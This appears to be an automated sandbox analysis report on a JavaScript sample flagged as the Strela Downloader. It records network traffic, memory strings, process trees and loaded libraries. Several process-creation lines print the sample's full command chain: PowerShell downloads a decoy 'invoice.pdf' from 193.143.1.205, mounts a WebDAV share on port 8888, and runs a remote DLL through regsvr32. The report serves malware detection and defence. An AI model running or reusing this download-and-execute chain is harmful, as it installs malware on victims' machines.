HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1467801461.0000021EC12DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1528903849.0000024A9497D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1528903849.0000024A9499C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1528903849.0000024A94948000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1528903849.0000024A9497D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/&m
Source: net.exe, 00000007.00000002.1528903849.0000024A94948000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/temc
Source: svchost.exe, 00000009.00000002.2748085392.00000250650CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.1528232701.000002506A800000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 5932, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2939088722913.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2939088722913.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 273371081152046820.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6064:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_h04z4ehj.45r.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\273371081152046820.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2939088722913.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1616,i,17140309894658284269,13296705651481407146,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2939088722913.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1616,i,17140309894658284269,13296705651481407146,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
